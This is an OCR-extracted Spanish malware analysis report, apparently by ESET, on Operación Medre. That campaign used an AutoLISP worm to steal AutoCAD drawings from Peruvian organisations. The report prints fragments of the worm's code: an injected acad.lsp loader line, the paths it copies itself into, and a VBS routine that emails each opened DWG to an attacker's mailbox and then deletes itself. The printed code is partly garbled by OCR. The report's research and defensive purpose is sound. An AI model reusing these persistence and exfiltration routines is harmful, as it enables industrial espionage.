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Introduccion

Semanas atras, integrantes del equipo de Laboratorio de Investigacién de Malware de ESET
Latinoamérica notaron un importante incremento en las tasas de deteccién de un cédigo
malicioso particularmente en un pais de Latinoamérica. Este es un patrén de propagacién
poco frecuente de observar, viéndose la gran mayoria de las veces porcentajes de deteccion
similares en muchos paises. Sumado a ello, se trata de una deteccidn un tanto particular:
ACAD/Medre, una firma creada para un archivo del popular software de disefio, AutoCAD.

A partir de estos datos, se procedid a analizar la muestra en cuestién, identificando un ataque
de espionaje industrial disefado exclusivamente para robar disefios, mapasy planos; y
aparentemente propagado para robar informacion de instituciones y empresas del Pera.

Las noticias tecnologicas de los Gltimos meses han girado en torno a amenazas como Stuxnet,
Duqu o Flame. Con caracteristicas muy similares, ACAD/Medre es un codigo malicioso disefiado
exclusivamente con fines de robo de informacion y, el hecho de haberse propagado casi con
exclusividad en Latinoamérica, lo posiciona como un nuevo caso de malware disefiado para un
ataque dirigido, con la particularidad de tratarse del primer caso de este tipo y magnitud
reportado en la regién.

Asimismo, la amenaza no solo se caracteriza por propagarse a través de archivos de AutoCAD,
sino también esta disefiada para robar estos archivos; una caracteristica peculiar que
demuestra la tendencia de los cibercriminales de expandir las técnicas utilizadas para llegar a
los fines deseados.

El siguiente texto es el resultado de la investigacién que permitié conocer e identificar este
ataque. En las proximas paginas podran conocer los detalles que la misma ha develado sobre
Operacién Medre.
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Ataque dirigido

En primer lugar, las tasas de deteccion identificadas por nuestro sistema de alerta temprana
ESET LiveGrid demuestran el comportamiento de esta amenaza. Hay un dicho que afirma que
unaimagen vale mas que mil palabrasy, el grafico mundial de propagacion de esta amenaza
indicado en el sistema, lo corrobora:

Imagen 1 - ACAD/Medre, mapa de deteccién

Sise analizan en detalle los valores de deteccion durante todo el 2012 (hasta el 19 de junio), se
puede observar con mayor claridad lo resaltado en el mapa:

TOP10 Mundial Latinoamérica Per(
1 HTML/Scrinject, 5,177% INF/Autorun, 5,15% INF/Autorun, 6,37%
2 INF/Autorun, 4,77% HTML/Iframe, 4,56% Win32/Dorkbot, 4,79%
3 HTML/Iframe, 3,42% Win32/Dorkbot, 4,39% Win32/Autorun, 3,32%
1 Win3z2/Conficker, 2,05% HTML/Scrinject, 2,87% Win32/Sirefef, 2,56%
5 Win32/Dorkbot, 1,40% Win32/Conficker, 2,12% Win32/Conficker, 2,33%
6 JS/TrojanDownloader, 1,27%  ]S/TrojanDownloader, 2,04% HTML/Iframe, 2,23%
7 Win32/Sality, 0,96% Win32/Sirefef, 1,39% HTML/Scrinject, 2,02%
8 JS/Kryptic, 0,66 % Win32/UpToDown, 0,85% Win32/Olmarik, 1,72%
9 Winz2/Autoit, 0,64% MSIL/Solimba, 0,58% ACAD/Medre.A, 1,29%
10 Win32/Ramnit, 0,50% HTML/Fraud, 0,56 JS/TrojanDownloader, 0,87%
ACAD/Medre

Los investigadores de ESET Latinoamérica notaron como extrafiamente una deteccion de
archivos de AutoCAD se destacaba especialmente en las tasas de deteccién de Per(, indicadas
por nuestro sistema estadistico ESET Live Grid.

(es:l
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Si se analiza la tabla anterior se destaca particularmente la deteccion de ACAD/Medre:

e Apesarde que existen pequenas diferencias, hay muchas similitudes en los rankings de
propagacion mundial, de la regidn y del Peru.

e Practicamente todas las detecciones son archivos ejecutables (Win32/, MSIL/) o web
(HTML/, JS/), es extrafa la aparicion de ACAD/.

e Nosoloapareceenel TOP10, sino que las tasas de deteccion del Per(i de ACAD/Medre. A
(1,29%) son, como se indica al final de la tabla, muy superiores a la deteccién en
Latinoamérica (0,21%) y en el mundo entero (0,04%).

Asimismo, en el siguiente grafico puede observarse la distribucion de las detecciones de
ACAD/Medre.A segln el pais. En otras palabras, entre todas las detecciones de esta amenaza
identificadas a lo largo del 2012, su distribucién es la siguiente, destacandose especialmente
Perd:

4 2
ACAD/Medre.A - Porcentaje de deteccién por pais @81'

1%

W Peru

W Ecuador

H Colombia

M United States
W People’s Republic of China
= Mexico

M Chile

W Bolivia

™ Argentina

® Panama

= Spain

M Otros

Imagen 2 - ACAD/Medre, propagacion por pais

Como indica laimagen, mas del 96% de las detecciones de esta amenaza fueron en Per(, un
patrén de deteccidon por demas extrano y poco frecuente. Ademas, el 99% de las detecciones
son en paises latinoamericanos.

Por lo general, los c6digos maliciosos suelen estar mas distribuidos entre muchos paises, e
incluso en casos donde existe un patrén, éste suele ser con valores mas pequefnos o incluyendo
avarios paises o una regién. Por ejemplo, los troyanos de la familia Win32/Spy.Banker son
detectados en un 54% de los casos en Brasil. Este es un porcentaje razonable para un codigo
malicioso cuya propagacién esta focalizada en un pais. Continuando con el ejemplo, Spy.Banker
(como la mayoria de los codigos maliciosos) suele propagarse por la gran mayoria de los paises
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del mundo, en este caso mas de 200. Es dificil controlar, si se libera de forma indiscriminada un
codigo malicioso, por donde se propaga. No obstante, en el caso de ACAD/Medre solo se
registran detecciones en 34 paises, otro patron de detecciéon anémalo.

Sin embargo, valores tan elevados como el anteriormente mencionado para ACAD/Medre y Per(,
indican otro patrén de comportamiento. De una u otra forma, las infecciones por fuera de este
pais son extremadamente pocas, producto de la minima expansién que puede tener una
amenaza simplemente por circular por Internet.

Los nimeros por si solos confirman entonces la teoria inicial: ACAD/Medre es en realidad un
ataque propagado exclusivamente para la region, y con una firme intencion de generar el
ataque en Perd.

Asila investigacién derivd en su primera conclusion: un ataque dirigido en Latinoamérica. Una
vez confirmado esto, se procedi6 a la segunda etapa, analizar la amenaza: ;qué ocurria en los
equipos infectados con ACAD/Medre?

El codigo malicioso

ACAD/Medre.A es un gusano escrito en AutolLISP, un lenguaje que utiliza la programacién LISP
como scripts en AutoCAD. En lineas generales, estas son las funciones descubiertas en el
analisis'y ejecutadas por el gusano:

1. Copiarse a simismo a distintas ubicaciones, con el sentido de continuar su
propagacion.

2. Elpayload, es decir, la instruccién maliciosa de la amenaza: robar proyectos de
AutoCAD del sistema infectado.

Infeccion y propagacion

Cada vez que se abre un proyecto de AutoCAD en un sistema (archivo DWG), se ejecutan los
archivos FAS que estan alojados en la misma carpeta del proyecto.

"El MDs5 de la muestra analizada es 7b563740f41e495a68b70cbb22980b20
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En primera instancia, ACAD/Medre.A (el archivo detectado y analizado se propaga generalmente
con el nombre acad.fas, extension de ejecucion del lenguaje AutoLISP) identifica la version de
AutoCAD instalada en el sistema del usuario, y modifica el archivo LSP alojado en la carpeta de
la aplicacion en el sistema (el archivo tiene la forma acad20??.I1sp, donde los signos de pregunta
deben ser reemplazados por nimeros, segun la version del software utilizada).

En la siguiente imagen puede observarse el codigo donde se identifica la versiéon de AutoCAD
instaladay, en consecuencia, el nombre correcto del archivo LSP:

=l (cond (WCMATCH ACADCEJ
=] (cond (WCMATCH ACADCBJ
- (cond (WCMATCH ACADCEJ
=] (cond (WCMATCH ACADCBJ
- (cond (WCMATCH ACADCE.J
=l (cond (WCMATCH ACADCEJ
=] (cond (WCMATCH ACADCBJ
- (cond (WCMATCH ACADCEJ
=] (cond (WCMATCH ACADCBJ
- (cond (WCMATCH ACADCE.J
=l (cond (WCMATCH ACADCEJ
=] (cond (WCMATCH ACADCBJ
- (cond (WCMATCH ACADCEJ
—| (cond (WCMATCH RCADCBJ
normal cond

(WCHMATCH RCADCBJ "=132.2=")
(setq AUTCFILE "acadZO0l5.1l=sp™)
normal cond
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i
(]
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(setq RAUTCFILE "acadZO0l3.l=sp™)
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Imagen 3 - ACAD/Medre.A identificado el archivo LSP correcto

Las versiones de AutoCAD afectadas van desde la14. hastala19.2. Es curioso que el autor del
gusano incluso prepard la amenaza para que sea compatible con versiones del software que
estaran disponibles en el afio 2015 (19.2), dando mayor ciclo de vida al codigo malicioso.

Una vez que se identifica el archivo LSP, el mismo es modificado y se le agrega la siguiente linea
(Si el archivo no existiera, también hay una instruccién para crearlo):

"(1if (findfile "cad.fas") (load "cad.fas"))"




Operacion Medre: espionaje industrial en Latinoamérica
]
8

]

(setqg AUTOFILE-B (FINDFILE AUTOFILE))
(setq AUTOFILE-ALL nil)
(setq BUTOFILE-Z (CPEN AUTOFILE-B "r")}
(setq AUTOFILE-C (READ-LINE AUTCGFILE-L))
(setg SAUTOCPE 1)
(setq BUTOFILE-RLL (CONS Then OR Else AUTOFILE-ALL))
(CLOSE AUTOFILE-R)
(setq AUTOFILE-BLL (CONS " (if (findfile "cad.fas") (load "cad.fas")}" AUTOFILE-ALL))
(setq AUTOFILE-ZLL (REVERSE AUTCFILE-ALL})
F (setqg AUTOF C (CPEN AUTCFILE-B "w"))
(MAPCAR ' (LAMBDZ '(X) ' (WRITE-LINE X AUTOFILE-C)) AUTOFILE-ALL)
(CLOSE AUTOFILE-C)

=] dn N Ld RS

[STT-Raei]
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Imagen 4 — ACAD/Medre.A modifica el archivo LSP

De esta forma, cada vez que se abra un proyecto en AutoCAD (.dwg), el archivo LSP
correspondiente se encargara de ejecutar laamenaza (archivo .fas), que finalmente creara un
archivo en Visual Basic Script y 1o ejecutara con el interprete integrado de Windows
correspondiente a este tipo de archivos.

.DWG — .FAS LSP — .DWG
Proyecto de Codigo Archivo Proyecto de
AutoCAD malicioso alterado AutoCAD
.VBS
Payload,
script malicioso
\ J

Imagen 5 - ACAD/Medre.A, ciclo de ejecucién de archivos

Ademas, el archivo FAS se copia en cuatro carpetas distintas del sistema (en algunos casos por
duplicado):

e  %windir%\System32\Acad.fas

e  %windir®\ Acad.fas

e %carpeta_actual_del_DWG%\cad.fas

e % carpeta_actual_del_ DWG %\acad.fas

e %directorio_de_AutoCAD%\cad.fas

e % directorio_de_AutoCAD %\acad.fas

Al copiarse en la carpeta del archivo DWG, cuando un usuario comparta dicha carpeta completa
del proyecto de AutoCAD (una practica frecuente), también se estara enviando el gusano a otro
sistema.
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Payload: robo de proyectos de AutoCAD

Una vez que se gjecuta la amenaza en un sistema, ademas de las instrucciones de propagacion,
se ejecutan los comandos propios de la accién maliciosa deseada por el atacante: el envio por
correo electréonico de cada proyecto de AutoCAD que se abra en la computadora. Estas
instrucciones son ejecutadas directamente por el archivo en lenguaje Visual Basic Script creado
y ejecutado por el gusano.

El archivo posee un listado de mas de cuarenta cuentas de correo junto con sus contrasefias,
que seran utilizadas aleatoriamente para enviar los proyectos de AutoCAD a las cuentas de
correo del cibercriminal. En la siguiente imagen del codigo del script, se encuentra oculto el
listado de correos junto a sus contrasefas, y se puede visualizar la funcién CPUTICKS que se
encarga de elegir las cuentas aleatoriamente ante cada oportunidad:

135 (setg MAREMAIL ' (" !
136 (setq YUDJEMIN (REM (FIX (/ (GETVAR "CPUTICKS") 10)) (LENGTH MAKEMAIL)))
137 (setq PRINC-YF-LT (NTH (FIX YUDJEMIN) MAKEMATIL))

Imagen 6 - ACAD/Medre.A, configuracion de las cuentas de correo

En el siguiente fragmento de cédigo del archivo VBS se crea el correo electronico (“Set Email”) a
enviar, donde se destaca que se adjunta ("Email. AddAttachment”) el archivo DWG abierto ("VL-
FILE-FNAM-H"):

CH ERROR RESUME NEXT

2 NameSpace = "http://schemas.microsoft.com/cdo/configuration/™
3 Set Email = CreateCbject ("CDC.Message")
4 Email.From = PRINC-YFMC
3 Email.To = " "
& Email.Subject = VL-INFC-C
&8 Email.Textbody = VL-FILE-FHAM-H
a
10 Email.Addattachment VL-FILE-FNAM-H
12 With Email.Configuration.Fields
13 .Item(NameSpace&"sendusing”) = 2
14 JItem{NameSpace&"smtpserver™) = PRINC-YJEFWQ
15 Item{NameSpace&"smtpserverport™) = 25
16 .Item(NameSpaces"smipauthenticace™) = 1
17 .Item{NameSpacei"=zendusername”) = PRINC-YFM
18 Item(NameSpacei&"sendpassword™) = PRINC-YXMM
19 .Opdate
20 End With
21 Email.Send
22
23 createobject ("scripting.filesystemcobiect™) .getfile{wscript.scriptfullname) .delete
24

Imagen 7 - ACAD/Medre.A, envio de archivo AutoCAD por correo
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Mas informacion

Ademas del envio de archivos de AutoCAD por correo electrénico, la amenaza posee otras
instrucciones identificadas durante el analisis:

1. Seidentificaron lineas de cddigo para enviar lista de contactos y correos de clientes de
email (Outlook y Foxmail). Por errores de tipeo, estas instrucciones no estan
funcionales en la muestra analizada.

2. Ademas, luego de enviar el proyecto por correo, se ¢rea un archivo RAR (protegido con
contrasefa) que incluye el archivo FAS infectado y un segundo archivo que posee
metadatos del archivo DWG enviado anteriormente.

Resumen

Como se presenté en las paginas anteriores, ACAD/Medre.A es un cédigo malicioso
relativamente simple desde el punto de vista de la programacién pero extremadamente
efectivo en el cumplimiento de sus objetivos. En la siguiente imagen puede observarse desde un
equipo infectado, cémo se puede visualizar el trafico de red donde se envia el correo con el
archivo de AutoCAD al atacante:

N
(u’.o JavierSce0l4s3 @ eT
MAIL FROM: <109 18qy. com>
RCPT TO: <meSt 0188 . com> o
DATA
thread-index: lctﬁxl'.r!Oquk:Sn‘;ﬁxIﬂ:!!llq-a
Thread-Topic TER-SCEO1453+Adminiatrador

8qu.com>
3.com>

JeAdministrador
18:09:03 +0200
AS789A0441198945FF2CEEBETEI 0 avierScedl 453>

tipart/mixed:
1CDINDE . 4CTCIASO"

1
roduced By Microsoft MimeOLE V6.00.2900.5512
This 19 & multi-part message in MIME format.

0_01CD3I9DS. 4CFCIASO

\Administredor\ESCritorio\sGeo GL-989-EN.dwg e
01CDIDE . 4CTCIASO

Content-Transfer-Enc basetd -
Content-Disposition: attachment:
filename="iGeo GL-989-EX.dwg"

QMDA ARAAAABCASABAA AARAAAAAAGAGAAAAAAA T AAAADGTQAAAFE.

ARAAAAAAAAARAAAAAABOQP3 3k1Q1 7X34C/ Hxu+nr 3600 P INHPPRKXGOCBra IrMSTc:
Mveqat 100l YMZDQTRB4NV2SSTL2In1 03 TPIPIE22v0esQwtwwT0SLIIpGd

4Y822rX+6¥X4RROL1NNOIRY V223 UIOPKOTAOA1 BRBWE 1 URB6 1 SkQCt SZEF rURRBA1 IO

feeteV

AZMWAAR/MAARR/ WARM/ SAAGD/ ARCT /WAAZ /RAAA
k A INWCIMIVA 8 MR 3

Imagen 8 — ACAD/Medre.A, captura de red de correo enviado
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1. ldentificacién de correo que envia y recibe (Fromy To) en la comunicacion de envio de
mensaje SMTP.

2. Cadenaqueincluye el nombre del equipo y del usuario, que forman el asunto del
correo.

3. Rutadelarchivoincluida en el cuerpo del mensaje.
Archivo DWG codificado en base64 (el atacante recibe el archivo adjuntoy lo puede
ejecutar directamente con el software, visualizando el mapa o plano en cuestion).

Finalizado el analisis de laamenaza, se pudo concluir que se trataba, no solo de un ataque
dirigido, sino también de uno particular disefiado exclusivamente para robar planos, disefios
y otros archivos de indole confidencial de instituciones y empresas del Perd.
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Ciberespionaje

Una vez comprendidas las funciones del coédigo malicioso, comenzd a quedar mas claro el
panorama completo del ataque: se trataba de una operacién dirigida de espionaje industrial. El
siguiente grafico explica en detalle como funciona Operacion Medre desde la infeccion hasta
que el atacante recibe el archivo de AutoCAD.

: i )
/\ /'\—\ ) /\l
KU// L sues

§°
K J

Imagen g - Operacion Medre, esquema de ataque

1. Elatacante liberala version inicial del cédigo malicioso y comienza a infectar sistemas.

2. Losusuarios abren proyectos de AutoDesk AutoCAD en sus sistemas y estos se conectan a
las 43 cuentas de correo para enviar los mensajes a la cuenta del atacante.

3. Desde esas cuentas se envia un correo al atacante (mes{ELIMINADO}@163.com) con el
proyecto (archivo .dwg) adjunto.
El atacante puede acceder a los archivos y conoce asi informacion confidencial.

5. Cuando la cuenta del atacante estuvo llena, los correos comenzaron a rebotar quedando
también almacenados en las cuentas de correo utilizadas para enviar.

En primer lugar (1), claramente el ataque tuvo sus origenes en algln envio dirigido,
probablemente a través del uso de alguna técnica de Ingenieria Social.

(es:l
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Por otro lado, el Gltimo punto mencionado (5) permitid a los investigadores conocer algunos
datos relevantes del ataque. En el disefio original se entiende que el 0 los atacantes deberian
mantener su cuenta de correo disponible. No obstante, al analizar las cuentas de correo
utilizadas para el envio (las contrasefas se encuentran disponibles en el cddigo del gusano), se
pudo comprender en mayor medida la magnitud del incidente. El atacante utilizaba decenas de
cuentas distribuidas en dos servicios de correo de China.

Inicialmente, se notd que desde enero del 2011 10s correos enviados comenzaron a recibirse
rebotados en las cuentas de envio. Esto hace suponer que el atacante ya no mantiene las
cuentas que reciben los archivos, lo que probablemente suponga que ya ha finalizado su etapa
de interés especifico en el ciberespionaje:

EstD )

REBE

OPostmaster@ﬂ .com
Enviado: sabado 03/01/2011 3:24 o
P bj368844@163.com

o Mensaje | [£] details.txt (430 B) L] 57 B2 (11,4 KB) (26 KB)

RE SNERBET ...

®H BH: 2011-01-08 10:24:20
EMAGERE: 3 m: sarasne

WA C 202368 I8 @al.com

ERENBUTEFE 6—4‘15&&9!&  BERBER

e
o BEZEEXNASSBEEHRFTER, AN RSAFERE
ENHARTES  NRREESHN 5B  BRRET
BYRASE - BEHTEREHES K OZES. ERNBFEERAI - X
' XXXX@1RA ram. HEFREAENSEDBREDRTH

.8 J

Imagen 10 - Operacién Medre, correo rebotado

Enlaimagen se puede observar que se trata de un correo de rebote (1), ya que por algin motivo
la cuenta de destino (2) no ha podido recibir el mensaje, informacion que se explica
posteriormente (3).
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Ademas, puede observarse que se adjunta el correo rebotado (adjunto con nombre en chino),
informacion que también es posible visualizar directamente desde el webmail:

[«oo] | [ocooo)[ oo J[oooo)[ oo [ oo J(oooo] ooo. v oog.. v

I - - S
DDDDDDDDD_@qq.com>

0 O02012050150(000) 001132 (UTC-05:00 000000000000000)
oooO 163.comz
O Oo10of( [ chw)

C:\Users_\Desktop\Nueva carpeta__.dwg

« O0r1 oy

o000 (DoO00000o0oooon)

_______ LICIEEE
L) oo oo

Imagen 11 - Operacion Medre, correo con proyecto de AutoCAD robado

Con estainformacion, la investigacion permiti analizar y conocer la dimension de Operacion
Medre, ya que se identificaron mas de diez mil archivos DWG (Unicos) en las cuentas de
correo del atacante, dato que confirma la magnitud de la operacién y la durabilidad de la
misma. El cibercriminal posee a la fecha miles de proyectos, planos, disefios, entre otros;
pertenecientes a distintas instituciones y empresas del Per(.

Posteriormente, se procedid a analizar las rutas y nombres de los archivos que, como se explicé
anteriormente, también se encuentran en el cuerpo del mensaje. De esta forma, se analizaron
las palabras con mayor cantidad de repeticiones, arrojando los siguientes resultados:

r o)
Operacion Medre - Nombres de archivos robados
2% 2% 1% 1% /—1%
M plano
W proyecto
W escritorio
W administrator
W arquitect*
M planta
M trabajo
= documento
™ estructura
™ administrador
M corte
™ casa
vivienda
. J

Imagen 12 — Operacién Medre, nombre de archivos robados
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También fue utilizado el sistema ESET Live Grid para identificar archivos infectados alojados en
sitios web, destacandose también Per(l como el pais con mayor cantidad de reportes de este
tipo. En un caso particular, un importante sitio web del pais poseia infectado un proyecto que
oficiaba como template (documento base) que podia ser descargado por los posibles
proveedores de la institucion. De esta forma, cualquier proveedor de esta organizacion, crearia
un proyecto a partir de ese documento, y por ende todos estos caerfan en manos del atacante.

Esta informacién termina de graficar la relevancia y gravedad de Operaciéon Medre, nétese que
las palabras con mayores repeticiones refieren a planos, proyectos, plantasy arquitecturas,
entre otros. Asi como ya es sabido que un software como AutoCAD no es utilizado para hacer
“sencillos dibujos”, el analisis de los nombres de los archivos y las rutas de los mismos confirman
dicha informacion: el cibercriminal posee en su poder archivos que probablemente posean un
alto nivel de confidencialidad, y que han sido robados gracias a este gusano informatico.

(es:l
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Post-investigacion

Como se presentd anteriormente, ESET ha estado investigando este c6digo maliciosoy
analizando en profundidad todos los componentes relevantes a Operacion Medre.

Araiz de lo antes descripto, ESET ha tomado las siguientes acciones para controlary remediar
los dafios causados por este incidente, y ha estado trabajando en |os siguientes aspectos las
semanas previas a la publicacién de la investigacion.

En primer lugar, se han contactado a las autoridades competentes del Perd y ESET
Latinoamérica ha ofrecido el apoyo y asistencia para controlary remediar la situacion.

Ademas, ha sido contactada la empresa Autodesk (fabricante del producto AutoCAD) y las
empresas chinas proveedoras del servicio de correo electrénico utilizado por el atacante.
Una de estas empresas ya ha dado una rapida vy eficiente respuesta, deshabilitando las
cuentas de correo utilizadas por el gusano (que ESET proveyo0 junto a la evidencia del caso).
De esta forma, los casos en que aleatoriamente las cuentas seleccionadas correspondan a este
dominio (uno de los dos utilizados), el gusano ya no es funcional y el proyecto no es enviado al
atacante.

Finalmente, ESET ha desarrollado una herramienta de limpieza gratuita disponible en el sitio
web de ESET Latinoamérica®, por lo que cualquier usuario podréa descargarla y verificar si
posee su sistema y/o proyectos de AutoCAD infectadosy, en caso afirmativo, limpiary
desinfectar el sistema.

(es:l


http://www.eset-la.com/download/herramientas-limpieza-virus-gratuitas
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Conclusion

Malware y ciberespionaje dirigido en Latinoamérica

Operacién Medre posee la particularidad de unir en un mismo ataque muchos conceptos que
no es habitual que aparezcan en un mismo incidente: malware, ciberespionaje, proyectos de
AutoCAD y ataque dirigido, entre otros.

Por lo general, se entiende que los ataques informaticos pueden dividirse (entre otras
categorias) en ataques dirigidos y ataque no dirigidos. Los cddigos maliciosos, por lo general,
suelen estar enmarcados en los no dirigidos, es decir, suelen liberarse en la web con algln
animo en particular (robo de informacion, phishing, botnets, etc.) sin distincion de quién es la
victima. No obstante, han existido algunos casos de uso de malware de forma dirigida como
por ejemplo Operacién Aurora, Stuxnet, Dugu o Flame, entre otros.

En resumen, los cddigos maliciosos suelen ser ataques no dirigidos, pero Operacion Medre es
uno de los casos aislados de malware como ataque dirigido.

En segundo lugar, tampoco es frecuente que un gusano informatico se propague a través de
archivos de este tipo y menos aun que estén disefados exclusivamente para robar proyectos de
AutoCAD. Por lo tanto, no solo se trata de un codigo malicioso como ataque dirigido, sino que
este gusano es parte de una operacion de ciberespionaje.

Finalmente, ataques como éste tampoco han sido frecuentemente identificados en la region,
por lo que ademas se trata del primer caso de esta indole y magnitud analizado en
profundidad para Latinoamérica.

Aunque muchas organizaciones se encontraban prevenidas contra esta amenaza (todos
aquellos usuarios de las soluciones antivirus de ESET que han reportado la amenaza), el
atacante logro obtener miles de proyectos confidenciales, confirmando la importancia, no solo
de contar con las herramientas pertinentes de proteccion, sino de gestionar eficientemente la
seguridad en todo tipo de organizaciones, analizando y comprobando las posibles
vulnerabilidades de los sistemas mas alla de las herramientas utilizadas.

Mientras el ciberespionaje sigue creciendo, se comprueba que la region latinoamericana no
esta exenta de éste. Asimismo, queda confirmado que los codigos maliciosos ya no ofician
como componentes aislados, sino que son una herramienta fundamental de los cibercriminales
para delitos de indole mayor, como es el caso de Operacién Medre, un ataque dirigido a
instituciones de Pert con el claro &nimo de espionaje industrial.




